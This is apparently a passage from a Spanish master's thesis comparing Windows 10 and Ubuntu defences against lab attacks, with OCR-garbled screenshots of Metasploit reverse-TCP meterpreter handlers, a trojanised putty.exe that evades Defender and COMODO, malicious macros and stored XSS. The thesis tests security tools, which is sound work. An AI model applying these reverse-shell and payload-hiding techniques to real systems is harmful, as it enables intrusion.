Para el ataque utilizaremos el mismo exploit de la figura 3-38, que al ser ejecutado nos da

una conexion remota como podemos ver en las siguientes imagenes.

Ubuntu [Corriendo] - Oracle VM VirtualBox —) (O (x
Archivo Maquina Ver Entrada Dispositivos Ayuda
@Applications Places System 4] Tue Sep 19, 21:11
® Easy File sharing Web Server

S

g 1y

= Server Help

O o 0 o 5

Start  Stop | StartSSL Stopcol | About
-B  options~
Server Logs
Port 2080
URL:  [nttp/192 168 2 3-8080 |

ssLpore [#43
SsLURL |https//192168.23 =l

Virtual Folders
™ Launch Web Server at windows startup

gj ™ startup minimized in systemtray

¥ automatically activate server at startup
Forums

¥ automatically activate ssl server at startup
Eﬁi ¥ Enable guest to login

¥ Enable guest to register a new accou l:l
User Account ¥ Login tovirtual folder by default

¥ allow users to upload files to forums

I” Disable forums

[V Allow files to be overwritten

[T save log tofile

[ More options.. | [ sMTPsetup. | [ Templates. | [ senice

BeoFs/srmER0HE CtrLDerecho

Figura 3-40 Pantalla de Easy File Sharing en Ubuntu
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Armitage

Armitage View Hosts Attacks Workspaces Help

¥ (& awiliary
¥ & scanner
v (& fp
|1 easy_file_sharing_ftp
¥ (& exploit
¥ (& windows
v (& fp
[ easyfilesharing_pass 19 2.66 10.0.2.2 10.0.2.1 172.16.16,2
v (& http uid=0, gid=0, euid=0, egid=0 @ meE&#p tabiaktiod hddabd gndEa: 28)id=0, eqid=oulpuddR,

B casyfilesharing_seh

easy file sharing

[ Console X T php/meterpreter_reverse_tcp X T sh 4625@1 X T linux/xB86/meterpreterireverse_tcp XT post X ]
[*1 r 8. 1. 10714451

[*1 - 192 2. 0 - Sending exploit...

[+] 19 - Exploit Sent

[*1 completed, but no s ion was created.

msf e = exploi

[*] Star reverse TCP r on 192.168.1,107:4451

[*] 19 92 0 - ing exploit...

[+] 19 - Exploit Sent

[*1 completed, but no s n was created.

msf e xploi

[*] Star everse TCP r 0 92.168.1.107:4451

[*] 192.168 - 1092, 2.3:8080 - Sending exploit...
[+]1 19 - Explo

[*] Sending stage (957487 bytes) to 192.1
[*] Meterpreter sessi opened (19 14451 -> 192.168.122.66:54914) at 2017-09-19 23:05:09 -0500

Figura 3-41 Explotacion en Ubuntu con el exploit para Easy File Sharing HTTP Server 7.2
4 ANALISIS DE SEGURIDAD DE LOS SISTEMAS ATACADOS

Dentro del andlisis de seguridad de los sistemas operativos Windows y Linux, vamos a
basarnos de herramientas de seguridad comerciales o nativas de los mismos, ya que el
objetivo es ver qué sistema puede proporcionar mas seguridad a los usuarios a través de
este tipo de herramientas. Estas herramientas pueden ser el firewall, antivirus, applocker,

navegador etc.

Se realizara los ataques sobre los sistemas pero ahora con las herramientas de seguridad
configuradas, para luego de esto obtener un resumen en una tabla comparativa de los

ataques realizados y si se pudo o no bloquearlos.
CONSIDERACIONES

— Para realizar las pruebas en este apartado se necesita crear un archivo con extension
“.exe” y que esté infectado. En el Anexo D se explica como crearlo utilizando cualquier
archivo ejecutable (putty.exe) e insertandole el payload “meterpreter_reverse_tcp”. Este
archivo tiene que ser capaz de pasar desapercibido por el usuario (ejecutado en
segundo plano).

— Para el caso de las pruebas en Windows el firewall siempre estara activado en todos los

ataques pero sin la configuracion de bloqueo de trafico de salida. La Unica excepcion en
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donde se activara la configuracién de bloqueo de tréfico saliente, es cuando se realice la
prueba de bloqueo de las conexiones inversas.

— Para el caso de las pruebas en Ubuntu el firewall siempre estara desactivado y la Unica
excepcion en donde se activard, es justamente para realizar las pruebas de bloqueo de

conexiones inversas.

4.1 BLOQUEANDO CONEXION INVERSA CON EL FIREWALL DE WINDOWS

4.1.1 OBJETIVO
El objetivo en este punto es tratar de bloquear la conexidén inversa producida por el
documento (Excel) de Microsoft Office que contiene una macro maliciosa. Para esto se

configurara el firewall de Windows.

4.1.2 PROBANDO VULNERAR WINDOWS CON EL FIREWALL CONFIGURADO

Como todos sabemos los sistemas Windows 10 traen incorporados por defecto la
herramienta firewall y viene configurada de forma predeterminada para que las conexiones
salientes se permitan a menos que se coincida con una regla que las bloguee. Entonces
tenemos que crear la regla que bloguee la conexidn remota inversa al ejecutar el archivo de
Excel que contiene una macro maliciosa. Para esto nos basamos del Anexo F en donde se

explica la creacion de la regla en el firewall de Windows para este propdésito.

Si realizamos el mismo procedimiento del apartado 3.5.3.1 y abrimos el archivo de Excel
gue tiene insertada la macro maliciosa y que es la que permite realizar la conexién remota,
nos encontramos en que no podemos obtener ninguna conexion ya que la regla del firewall

esta blogueando correctamente.

]
]
]
]

T.co/trymsp

et Thost
1.
ndler) = set lport 4445

T exploit(handler) = exploit

Figura 4-1 Exploit en escucha sin conexion remota
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4.2 EXPLOTANDO WINDOWS MEDIANTE LA EJECUCION DE UN ARCHIVO

4.2.1 OBJETIVO
Aqui el objetivo sera probar la efectividad de deteccidbn en tiempo real del Windows
Defender que es el antivirus que viene por defecto en Windows 10. Se intentard ejecutar el

archivo infectado con extension “.exe” para obtener una conexion remota.

4.2.2 EJECUCION DE UN ARCHIVO INFECTADO CON EXTENSION “.EXE”

En el apartado 2.2 se analiz6 un archivo de Excel que contenia este tipo de virus
(putty.exe), para ello se hizo un escaneo con un antivirus online. En ese resultado del
analisis se observa que Windows Defender no lo detecté como una amenaza poniendo en

riesgo todo el sistema ya que si lo ejecutamos obtenemos la conexion remota esperada

Windows10 [Corriendo] - Oracle VM VirtualBox @ O g
Archivo Maquina Ver Entrada Dispositivos Ayuda
8 Windows Defender - m] X

Estado del equipo: Protegido
Inicio Historial

Examen completado en 1 elemento Opciones de examen:
J Mo se detectaron amenazas en el equipo durante este examen.
Su equipo esta siendo monitorizado y protegido. @® Rapido

OCump\Etu

(O Personalizado
& Proteccidn en tiempo real: Activada

& Definiciones de virus y spyware:  Actualizadas Examinar ahora

O\ Detalles del examen
Ultimo examen: 27/07/2017 a las 12:43 (Examen rapido)

zet lport 4448
a |11+

Started reverse TCP handler on 192.168.1,107:4448
Starting the payleoad handler...

Figura 4-3 Configuracién del exploit en escucha de una conexion remota de Windows
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Windows10 [Corriendo] - Oracle VM VirtualBox o @

Archivo Méquina Ver Entrada Dispositivos Ayuda

= F[l= Heramientas de aplicacion

B o o v o
« v 4 = » Esteequipo > Documentos (\vboxsry) (E:) v & | BuscarenDocumentos (\vb... @
A |88 PuTTY Configuration X L Tipo Tamafi
# Acceso répido
Category: Carpeta de archivos
i OneDrive - Session Basic options for your PuTTY session Corpeta de archivos
i - Logging Specify the destination you wari to connect to - prapm———
B Este equino - Teminal Carpeta de archivos
quip : Host Name for IP address) Port .
¢ Keyboard Carpeta de archivos
& Descargas L I \E3 ; ‘
: - Carpeta de archivos
& Documentos H Features Connedtion type:
= )+ Windaw ORaw () Telet O Riogn @SSH () Senal Documento habili
I Escritorio : Archive GZ 20
i ‘S‘:E::::u"fa Load, save or delete a stored session rehive 129
=] Im3genes § [ Beheer Saved Sessions Archivo KERNEL 10
Videos i~ Colous Default Seltings Load Archive 50
=J- Connection
‘& Discolocal (C:) Data Save
¥ Unidad de CD (T - Proxy
Telnet Delete Aplicacion
= Decumentos (W - Rlogin Documento de Mi..
i S5H
., Disco local (G ; Archivo PDF
isco local (G) Senl Close window on exit
@ Unided de CD (03 Qhiways  ONever @ Only on clean axt
¥ Red
[ DESKTOP-3RS6R
[ VROXSVR o &2
15elementos 1 elemento seleccionado 622 KB =

AOBBY i, B
B @& @ == @ & Cul Derecho

Figura 4-4 Ejecucion del archivo “putty.exe” en Windows

Como era de esperarse el resultado es satisfactorio si lo vemos desde el punto de vista de
un atacante ya que pasamos desapercibidos por el Windows Defender y accedimos al

equipo de Windows.

Figura 4-5 Obtencion de una sesion meterpreter mediante un archivo “.exe” infectado

4.3 PROBANDO VULNERAR WINDOWS 10 CON UN ANTIVIRUS COMERCIAL

4.3.1 OBJETIVO
En este punto el objetivo sera probar la efectividad de deteccién en tiempo real del antivirus
comercial Kaspersky al intentar ejecutar un archivo infectado con extension “.exe” para

obtener una conexiéon remota.

4.3.2 EJECUCION DE UN ARCHIVO INFECTADO CON EXTENSION “.EXE”
Como pudimos observar en el apartado 4.2, el antivirus Windows Defender nativo de
Windows 10 no pudo detectar el payload insertado en el archivo putty.exe, lo que provoco la

obtencion de una conexién remota por parte de la maquina atacante.

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 81



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

Es por eso que ahora se probara el mismo archivo pero esta vez se tendra activo el antivirus

comercial Kaspersky para probar si es eficaz o no al momento del analisis en tiempo real.

Windows10 [Corriendo] - Oracle VM VirtualBox - o x
Archivo Maquina Ver

¥ Kaspersky Anti-Virus KAJPERJKY2
\'-—\ El equipo esta protegido
1 recor 6n, 2 noticias

Entrada Dispositivos Ayuda

Analisis /N Actualizacion de bases de
Q| K_/ datos

Informes @ Teclado en pantalla
—

Figura 4-6 Pantalla del Kaspersky en Windows

Si ingresamos a la carpeta que contiene el archivo infectado, este antivirus automaticamente

lo detecta como un virus y lo elimina como podemos ver en la siguiente imagen.

Windows10 [Corriendo] - Oracle VM VirtualBox —) (o) (=
Archivo Maquina Ver Entrada Dispositivos Ayuda

Documentos (\\whoxsrv)...  Herramientas de unidad

Archivo Inicio Compartir Vista Administrar

v/ mm > Este.. » Documentos (Vwhboxsrd) (E) » v @ Buscar en Documentos (Vivb..

~

-~ MNombre Fecha de modifica...

7 Accese répido

Acunetic WVS 9 11/05/2017 10:29

DAEMON ‘& OneDrive macro ubuntu 2 017 11:13
Lite

B Este equipo macra windows 2 01

‘ Descargas

= Documentos

MaquinasVmware
VMwareTools-10.1.6-5214329
M5 ~Ssf4446

y I Escritorio || asaB02-k8.initrd.gz
2 =| Imagenes | ] asaB02-k8.kernel
;'-‘-n “ Jg Musica B infected_emflYXXp
@ videos 0 Microsoft Office Profesional Plus 2010 VL x86
05 msf
0 Office Professional Plus 2013

0= sw test

‘s Disco local (C)
W4 Unidad de CD (T
= Documentos (\\
Pl Disco local (C:) 5 Titulo
Conneci
§% Unidad de CD (D) v <
15 elementos

Figura 4-7 Eliminacion del archivo infectado putty.exe con Kaspersky
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4.4 PROBANDO VULNERAR WINDOWS 10 CON APPLOCKER CONFIGURADO

441 OBJETIVO
El objetivo es comprobar si la herramienta de Windows 10 “AppLocker” permite bloquear de
manera local la ejecuciéon de un archivo con extensién “.exe” que podria estar infectado por

algun virus.

4.4.2 EJECUCION DE UN ARCHIVO INFECTADO CON EXTENSION “.EXE”

En el Anexo E se explica cdmo realizar la configuracion de la herramienta AppLocker que
viene instalada en Windows 10 para permitir solamente la ejecucion de ciertos programas
mediante una lista de excepciones. Esto nos sirve para constatar que efectivamente el

archivo infectado pueda ser bloqueado al momento que tratamos de ejecutarlo.

Procedemos a ejecutar el archivo para ver si el AppLocker de Windows 10 bloquea la

ejecucion del mismo.

Windows10 [Corriendo] - Oracle VM VirtualBox @ O O
Archivo Maquina Ver Entrada Dispositivos Ayuda
B
Arg = | ] = | Herramientas de aplicacidn
| Inicio

@

E"_!,. &« v 4 == 3 Esteeq.. » Documentos (\\wboxsrv) (E:) v @ Buscar en Documentos b.. 2 n Excepcio..

~ B S
Mombre Fecha de modifica.. T %

Compartir Vista Administrar

-~

[ 7 Acceso rapido i
| macro windows
@ OneDrjyve MagquinasVmware

E\putty.exe

[ Este &

‘ Desc 9 El administrador del sistema blequed este programa. Para obtener mds informacion, pdngase
en contacto con él.

=| Doc

B Escri

&= Ima

!j driver.tar

B infected_emflVX(Xp

() Microscoft Office Profesional Plus 2010 VL x86
0] msf

% Unidad de CD (C () Office Professional Plus 2013

= Documentos (\\

M= sw test

J\ Muisica

i Disco local (C)

“im Disco local (C:)
= Titulo

\?‘ Unidad de CD (D) v €
18 elementos 1 elemento seleccionado 633 KB

19:24
03/08/2017 -

B ®& @ EE i @ G @ Cl Derecho

At F )

Figura 4-8 Archivo con extension “.exe” bloqueado con AppLocker

Como podemos observar el archivo fue bloqueado de manera efectiva por la directiva local

creada en AppLocker de Windows 10.
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4.5 PROBANDO VULNERAR WINDOWS 10 CON EMET ACTIVADO

45.1 OBJETIVO

El objetivo aqui es impedir que se obtenga una conexidon remota inversa por la inyeccion de
cbdigo malicioso tras el desbordamiento de buffer de la aplicacion Easy File Transfer HTTP
Server. Para conseguirlo haremos uso de la herramienta EMET (Enhanced Mitigation
Experience Toolkit), esta es una herramienta gratuita para Windows que fuerza al sistema

operativo el uso de las tecnologias DEP y ASLR brindandole un plus de seguridad.

= ~ Enhanced Mitigation Experience Toolkit - 0O x
& Import L 7 Quick Profile Mame: v Windows Event Log D
~ " g A ©
i Export Custom security settings |+ v Tray Icon
) Wizard Apps  Trust - _ Help
ﬁg Group Policy Skin: Office 2013 - w*| Early Warning -
File Configuration System Settings Reporting Info =&
System Status
Data Execution Prevention {DEF) iv‘: éAppIicaﬁon CptIn -
Structured Exception Handler Overwrite Protection (SEHOF) iu‘: Application Opt In -
Address Space Layout Randomization (ASLR) g Application Opt In -
Certificate Trust (Finning) g Enabled -
Block Untrusted Fonts (Fonts) a Disabled -
Running Processes
Process ID Process Name 4 | Running EMET
4540 ApplicationFrameHost - Application Frame Host ~
254 armsvc - Adobe Acrobat Update Service
198 browser_broker - Browser_Broker
7652 deanmgr - Administrador de liberacidn de espado en disco para Windows
7904 cmd - Procesador de comandos de Windows

—— Ty it

Figura 4-9 Pantalla de EMET en Windows 10

4.5.2 EXPLOTANDO EASY FILE TRANSFER DE WINDOWS
Al tener activada la herramienta EMET en Windows, no se pudo lograr establecer una
conexién remota ejecutando el ataque (apartado 3.5.4.1) al programa que contiene la

vulnerabilidad de buffer overflow.

Aqui también es importante sefialar que los sistemas operativos Ubuntu tienen activada la
tecnologia de comprobacion de memoria ASLR, pero que al realizar un ataque para explotar
la vulnerabilidad de buffer overflow de un programa nativo de Windows que esta corriendo

mediante Wine, este es incapaz de poder bloquear la ejecucién del cdédigo malicioso.
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4.6 BLOQUEANDO CONEXION REMOTA EN UBUNTU CON GUFW

4.6.1 OBJETIVO
El objetivo en este punto es tratar de bloquear las conexiones remotas inversas producidas
por el documento (Writer) de LibreOffice que contiene una macro maliciosa. Para esto se

utilizara el firewall (gufw) de Ubuntu.

4.6.2 PROBANDO VULNERAR UBUNTU CON EL FIREWALL CONFIGURADO.

Si utilizamos el firewall gufw de Ubuntu que en el Anexo F se explica la creacion de una
regla para bloquear las conexiones remotas inversas. Nos daremos cuenta que
remotamente es imposible acceder, esto debido a que en la configuracién de dicho firewall
las conexiones salientes estan permitidas Unicamente a ciertos puertos, es decir que se
permite Uinicamente la conexién para navegar en el internet mientras que los puertos 1024

al 65535 estaran bloqueados

Si realizamos el mismo procedimiento del apartado 3.5.3.2, en donde se abre un
documento (Writer) de LibreOffice que contiene una macro maliciosa, podremos constatar

gue efectivamente el firewall gufw no permite una conexién remota.

cumen
cumen

ument_macro/Thumbnails

nent_m

cument_mac asic

s/openoffice_document_macro/META-INF

Figura 4-10 Exploit en escucha sin conexion remota.

4.7 EXPLOTANDO UBUNTU MEDIANTE LA EJECUCION DE UN ARCHIVO

4.7.1 OBJETIVO

El objetivo aqui es probar la ejecucion de un archivo infectado con extensiéon “exe” en
Ubuntu ya que este no cuenta por defecto instalado un antivirus en tiempo real que pueda
monitorear los eventos que suceden en el sistema. De esta manera constataremos si es
posible o no obtener una conexién remota con la ejecucién de este tipo de archivos nativos

de Windows.
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4.7.2 EJECUCION DE UN ARCHIVO INFECTADO CON EXTENSION “.EXE”

Para ejecutar un archivo con extension “exe” en Ubuntu lo hacemos mediante el software
Wine. Este programa se podria decir que es muy similar a un emulador, aunque en realidad
es una implementacion libre de la APl de Windows (Win 16 y Win32) que permite ejecutar

programas que estan disefiados para correr bajo Windows.

Antes de ejecutar el archivo con extension “exe” en el Ubuntu primero configuramos el

exploit en la maquina atacante que estard a la escucha de la conexion.

- 951 auxiliary - 292
40 encoders -
o trial: http:

WS /Meterpr
) set Thost 1S

1_
set lport 4448

exploit

Started reverse TCP handler on 192.168.1.107:4448
Starting the payload handler. ..

Figura 4-11 Configuracién de parametros del payload para escucha de una conexién

En la maquina de Ubuntu ejecutamos el archivo llamado “putty.exe”, lo realizamos dando

clic derecho sobre el mismo y escogiendo la opcién “abrir con Wine”.

Ubuntu [Corriendo] - Oracle VM VirtualBox =
Archivo Maquina Ver Entrada Dispositivos Ayuda
@ Applications Places & Open With Engrampa Archive Manager

P’

7 Open With Wine Windows Program Loader
e kalilinux Open With Other Application...
File Edit View Go

8 B copy 3/ | Icon View

Places

Computer
[®i geovanny
@ Desktop rosoft Office
__ File System
I[® Documents o Backup...
[£3 Downloads 4 Send To...
i Music Open as administrator
[® Pictures B Extract To...
i@ videos compress...
S Trash = Add to Favorites

Devices £ Properties

@ vBo... - -
— kalili... ~ "putty.exe" selected (705.0 kB), Free space: 107.7 GB

™ [ [geovanny@ubuntu: ~] @ [Software Updater] B kalilinux
BOPLEE @ O @ @ CtrlDerecho

Figura 4-12 Ejecucion de un archivo con extension “exe” mediante Wine
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Al momento que se ejecuta el archivo con Wine autométicamente Ubuntu nos presentard el
programa en pantalla, pero de una manera transparente al usuario se estd ejecutando el

payload insertado, permitiendo a la maquina atacante obtener una conexién remota.

Ubuntu [Corriendo] - Oracle VM VirtualBox

File Edit View Go

Archivo Maquina Ver Entrada Dispositivos Ayuda
@Appli(ations Places Systen )

e PuTTY Configuration

Category:

I [ = session

| Basic options for your PuTTY session

ThuJdul27,17:40 o)) T = (O

- Logging 5 .
pecify the destination you want to connect to
Places v 4| = Terminal
: Host Name (or IP address) Port
Keyboard
Computer - Bell I 2
= L. Features Connection type:
sl geovann
9 v = Window € Raw C Telne C Rlogir & SSH € Seria
B Desktop Appearance i
. . rLoad, save or delete a stored session
. File system - Behaviour )
— . Translation Saved Sessions
i Documents Selection I

[£3 Downloads - Colours E _
& Music [=l- Connection 1 |

. Data Save |
W] Pictures - Praxy

- Delets
@ videos Telnet Delete |

- Rlogin
= Trash - 55H
Devices - serial Close window on exit:
=) VBO. s © Always " Never {* Onlyon clean exit
— kalili... &

|

™ [ [geovanny@ub... @ [SoftwareUpd... B kalilinux

2 PuTTY Configur... -

]
1
1
pl

.co/tryns,

aterpreter/reverse_tep

Figura 4-14 Conexion remota con Ubuntu mediante ejecucién de un archivo “.exe”

4.8 PROBANDO EFECTIVIDAD DEL ANTIVIRUS EN UBUNTU

4.8.1 OBJETIVO
El objetivo es probar la efectividad de un antivirus en Ubuntu para detectar alguna amenaza

al momento de ejecutar un archivo con extension “.exe” infectado.
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4.8.2 ANALISIS DEL ARCHIVO INFECTADO CON EL ANTIVIRUS “COMODO”

En el apartado 2.7.5 se hace una breve descripcion de los antivirus mas utilizados en el
2017 para los sistemas Linux. El que llama mas la atencién es el antivirus llamado
“COMODOQO” ya que este funciona en tiempo real. Procedemos entonces a analizar el archivo

infectado “putty.exe” utilizado en el apartado 4.7.

Ubuntu [Corriendo] - Oracle VM VirtualBox g ¢

Archivo Maquina Ver Entrada Dispositivos Ayuda =
@ Applications Places System £) FriAug 4,10:50 € ) T &= (O

Antivirus en tiempo real

VBOXADDITIONS_
5.1.18_114002

kalilinux

ubuntu MATE

driver.tar

[Escaner antivirus Linu...

B OF 2 EE & @ @ R Ctrl Derecho ”

Figura 4-15 Antivirus COMODO funcionando en tiempo real

Ubuntu [Corriendo] - Oracle VM VirtualBox = O g
Archivo Maquina Ver Entrada Dispositivos Ayuda
@ Applications Places System &) ThuAug 3,16:42 [€l4) 1 = OO

Analizando: /media/kalilinux/putty.exe
Estado: Analisis Finalizado

2o © Objetos analizados: 1 Comienzo: Thu Aug 3 16:41:42 2017
£ Amenazas encontradas: ] Duracién: 00:00:00

¥ :Mostrar en la parte superior

BM 9 jQué son estos ajustes? Cerrar |
= Pi -
™77 Foas
@ Vvideos e
& Trash @ l@
Devices S =2
@) VBO... ~$sf4446.docm sw test.docx Titulo.pdf

— kalili.... - "putty.exe" selected (705.0 kB), Free space: 106.3 GB

B kalilinux €& COMODO Antivirus-A...
BEOL @ EE @ @ S @ Ctrl Derecho

Figura 4-16 Analisis del archivo “putty.exe” en COMODO
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El analisis realizado da como informe que no detecta ningun tipo de amenazas por lo que si
se ejecuta nuevamente el archivo “putty.exe” obtendremos sin problema una conexién

remota hacia la maquina atacante.

4.9 PROBANDO FIREFOX VS EDGE ANTE UNA VULNERABILIDAD XSS

49.1 OBJETIVO
El objetivo es poder evitar la ejecucion de scripts maliciosos mediante los complementos de
los navegadores que vienen instalados por defecto en los sistemas operativos.

Para el navegador Mozilla Firefox que viene predeterminado en Ubuntu, existe el
complemento “NoScript” que puede ser instalado desde la seccion de complementos, este
proporciona una serie de configuraciones que van desde la creacion de listas blancas
blogueo de plugins, hasta el bloqueo de sitios no fiables, etc.

Para el navegador Edge que viene predeterminado en Windows 10 no se encontré un

complemento que puede evitar la ejecucién de scripts maliciosos.

Partiendo entonces desde este panorama vamos a ver cual es las consecuencias ante la

visita a un sitio que tiene la vulnerabilidad Cross Site Scripting (XSS) de tipo persistente

4.9.2 PROBANDO LA VULNERABILIDAD XSS EN LOS NAVEGADORES

Para realizar la prueba nos basaremos de la vulnerabilidad existente en la aplicacion DVWA
que en el Anexo H se detalla la forma de explotarla mediante el framework XSSF. Si el
usuario de Ubuntu visita la seccién XSS STORE de la aplicacion DVWA desde el navegador

Firefox con el complemento NoScript activado el resultado seré el siguiente:

Ubuntu [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

@ Applications Places System 5] Thu Sep 21,00:42 13 ) = G
e Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mc =

[ pamn Vulnerable we! x W3

€ ®[10022 =1 w8 & A 9 » =
T Vulnerability: Stored Cross Site Scripting (.
Instructions

Name *
Options...

e — Message * + show message about blocked scripts
+ Place message at the bottom
M Audio feedback when scripts are blocked
CSRF
e & Allow Scripts Globally (dangerous)
S Allow all this page
SaL Injection

SQL Injection (Blind)

Name: test @ Temporarily allow all this page
S Mark 192.168.1.107 as Untrusted |G JUREIUSCCRIS
S Mark 10.0.2.2 as Untrusted O Allow 192.168.1.107
@ Temporarily allow 192.168.1. 107
© Allow 10.0.2.2
& temporarily allow 10.0.2.2

Options...

© Damn Vulnerable Web . [@]
@ & @ @ = & @ @ @ Curl Derecho

Figura 4-17 Bloqueo de scripts maliciosos con NoScript de Firefox
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Como se puede apreciar en la figura 4-17 el complemento de Firefox detecta el script
malicioso y automaticamente lo bloquea. Ahora si el usuario vista la aplicacion desde el
navegador Edge de Windows 10 automaticamente se realiza una conexién con la maquina

remota del atacante.

= C | @ localhost

Figura 4-18 Pantalla de registro de las victimas en XSSF

Esto podria provocar que el atacante incluso pueda ejecutar algin exploit contra la victima
ya gue XSSF se integra perfectamente con el Metasploit. Desde metasploit por ejemplo
podriamos mandar un mensaje, capturar la cAmara, escanear los puertos, paginas visitadas

etc.

Archivo Maquina Ver Entrada Dispositivos Ayuda

Este sitio dice...
HOLA HAS SIDO HACKEDO

Aceptar

ATy | 2

21/09/2017 Ea

B ®& @@= 3@ ® CrlDerecho

Figura 4-19 Pantalla de mensaje recibido desde XSSF
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5 CUADRO COMPARATIVO DE LOS SISTEMAS ATACADOS

A continuacion se detalla la explotacion realizada a los sistemas operativos teniendo en
cuenta tanto las configuraciones de las herramientas nativas que poseen e instaladas por
defecto como también las configuraciones de otras herramientas comerciales. Con esto
lograremos obtener una vision general de cual de estos sistemas nos ofrecen mayor

posibilidad para tratar de bloquear este tipo de ataques.

Herramienta Atague realizado Windows Conexiones Ubuntu Conexiones

Firewall Macro maliciosa Firewall 0 gufw 0
Windows
Antivirus por exe infectado y Defender 2 No tiene 2
defecto macro maliciosa
Antivirus exe infectado y Kaspersky 0 COMODO 2
comercial macro maliciosa
Control de i AppLocker 0 No tiene )
aplicaciones exe infectado pp
Control de EMET 0 ASLR
memoria Buffer overflow 1
Complemento ‘s Edge sin . NoScript de .
Navegador complemento Firefox
IPS exe mfectgd_o y 0 0
macro maliciosa
Total 3de7 5de7
conexiones pruebas pruebas

Tabla 1 Cuadro comparativo de los Sistemas Operativos atacados

En la tabla 1 se puede observar que se utilizé el antivirus “COMODQO”, aunque este no sea
de uso comercial este permite proteger al sistema contra amenazas en tiempo real en

comparacion con el resto de antivirus para Ubuntu que no realizan este tipo de proteccion.

Basandonos en este panorama podemos ver claramente que de siete intentos de
explotacién solo tres fueron posibles en el sistema operativo Windows 10, esto debido a que
ofrece una mayor proteccidon contra este tipo de ataques ya que tiene herramientas
instaladas por defecto disponibles para los usuarios poco experimentados. Mientras tanto
que en Ubuntu de siete intentos de explotacién cinco fueron posibles, esto debido que al no
disponer de herramientas configurables y amigables para los usuarios, como es el caso de
control de aplicaciones (AppLocker) o antivirus comerciales (Kaspersky) en Windows y que
funcionan en tiempo real, la Unica opcion que nos brinda es tener un firewall bien

configurado para bloquear estos ataques.

Por ultimo es importante sefialar en cuanto a la administracion de la seguridad, los sistemas
para el monitoreo de la red son de gran ayuda para alertar contra los intentos de explotacion

para obtener una shell remota de los sistemas operativos. En el caso de este trabajo todos
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fueron detectados correctamente por el Smooth-Sec (IDS/IPS) como podemos ver en la

siguiente imagen.

Windows10 [Corriendo] - Oracle VM VirtualBox — (T x
{ Archivo Maquina Ver Entrada Dispositivos Ayuda
! B snorby - High Severityt X+ = X

& — 0O |®Errordecertificaso 192.168.2.128 \;53| = ¥Z 0O

My Gueue (0) Events Sensors Search Adminiztration

|
srity Events ©“| Hotkeys [ Classify Event(s) -z More Options

Sev. Sensor Source IP Destination IF Event Signature Timeatamp
n Snort 102.1688.1.107 10218822 GPL SHELLCODE x86 int ebx NOOP
n Snort 182.188.1.107 182.168.22 ET SHELLCODE Possible Call with No Offset TCP Shelicode
n Snort 182.168.1.107 162.168.2.2 ET POLICY PE EXE or DLL Windows file download
n Snort 182.188.1.107 18216823 ET SHELLCODE Possible Call with No Offset TCP Shelicode
n Snort 182.168.1.107 162.168.2.3 ET POLICY PE EXE or DLL Windows file download
n Snort 102.168.1.107 16216823 GPL SHELLCODE x86 inc ebx NOOP
n Snort 182.168.1.107 182.188.2.2 ET POLICY PE EXE or DLL Windows file download
n Snort 102.168.1.107 10216822 GPL SHELLCODE x86 inc ebx NOOP
n Snort 182.188.1.107 18216822 ET SHELLCODE Possible Call with No Offset TCP Shelicode
|
| n Snort 192.188.2.2 219.58.218.142 ET INFO Suspicious Windows NT version 1 User-Agent
n Snort 182.188.2.2 218.58.218.142 ET INFO Suspicious Windows NT version 1 User-Agent
[ 4nm amcmamn ann amn o amn O R DT T,

1514

A EED e BB

B @ e & 3 = @& 0 & 3 Cirl Derecho

Figura 5-1 Alertas generadas del Smooth-Sec al ejecutar los payloads

En el Anexo | se explica como configurar las reglas en el Smooth-Sec para bloquear este

tipo de conexiones remotas inversas.
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6 CONCLUSIONES

El desarrollo de este trabajo ha permitido realizar las comparaciones de seguridad que
pueden brindar los sistemas operativos mas utilizados como son Windows y Linux, esta
seguridad deben brindar dichos sistemas a través de herramientas que sean accesibles y
facilmente configurables por parte de los usuarios. El objetivo de este trabajo fue justamente
ambientar en un entorno virtual para simular ataques que pueden ocurrir en una

Organizacién ya sea grande, mediana o pequefa.

Si bien sabemos que la seguridad viene dada por actualizaciones, configuraciones y el
correcto desempefio de los administradores, pues uno de los puntos débiles que pueden
sufrir las organizaciones es la falta de concienciacion por parte de los usuarios en cuanto a
la seguridad se refiere. Los administradores y personal encargado de la seguridad tienen
que tener mucho en cuenta la seguridad tanto interna como externa, un servidor bien
configurado, actualizado y cumpliendo normas o requisitos de seguridad, junto con otros
dispositivos como firewall con correctas politicas de seguridad, un IDS monitoreando
correctamente los paquetes de la red para no generar falsos positivos, permiten mitigar o
prevenir ataques que pueden llegar a vulnerar equipos indispensables dentro de la

Organizacion.

En este sentido el escenario ha permitido demostrar o constatar que aunque la mayoria de
usuarios incluso experimentados tienen la idea de que los sistemas operativos de escritorio
Linux son mas seguros que los sistemas Windows, pues al utilizar software que no es nativo
de Linux por medio de Wine se pudo apreciar que es lo contrario y que hay que prestarle

mucha importancia para tomar las adecuadas medidas de seguridad

Los resultados obtenidos a través de este piloto experimental no fue demostrar cual sistema
es mas vulnerable, sino mas bien cual sistema aporta o brinda mas herramientas que

permitan asegurar el activo mas primordial de las Organizaciones que es la informacion.
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7 GLOSARIO
Metasploit:

El Metasploit es un conjunto de programas o herramientas (exploits) que esta disefiado
para explotar las vulnerabilidades de los equipos y muy utilizado para la seguridad

informatica.
Exploit:

Un exploit es una porcién de cddigo o secuencia de instrucciones que tiene como obijetivo

vulnerar la seguridad de un sistema logrando alterar su comportamiento.
Payload:

El payload es conocido también como carga Util que se activa cuando se ejecuta un
malware, este es la parte del codigo malicioso dentro de un exploit.

Armitage:

Armitage es el administrador grafico para Metasploit que permite visualizar los objetivos, los
exploits a utilizar y opciones avanzadas con el objetivo de simplificar las actividades de

seguridad
Meterpreter:

El meterpreter es un payload que se ejecuta después de la explotacion de una
vulnerabilidad de un sistema operativo, este se ejecuta en su totalidad dentro de la memoria

para poder evadir los antivirus.
Vulnerabilidad:

La vulnerabilidad es una debilidad o defecto que presenta un sistema informatico sea este

hardware, software o sistema operativo.
Ataque informatico:

Un ataque informatico es la intencion de una o varias personas mal intencionadas con el fin

de dafiar un sistema informatico.
Sistema informéatico:

Un sistema informético es donde se almacena y procesa la informacion haciendo uso del

hardware, software y el personal informético
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Cibercriminal:

Es la persona que se aprovecha de la vulnerabilidad de un sistema informético o red para

cometer actos que no estan permitidos por la ley.
Hacker:

El hacker es la persona con altos conocimientos informéticos cuya finalidad es descubrir y
vulnerar los sistemas informéticos o redes, su actividad en cuanto a la seguridad se refiere

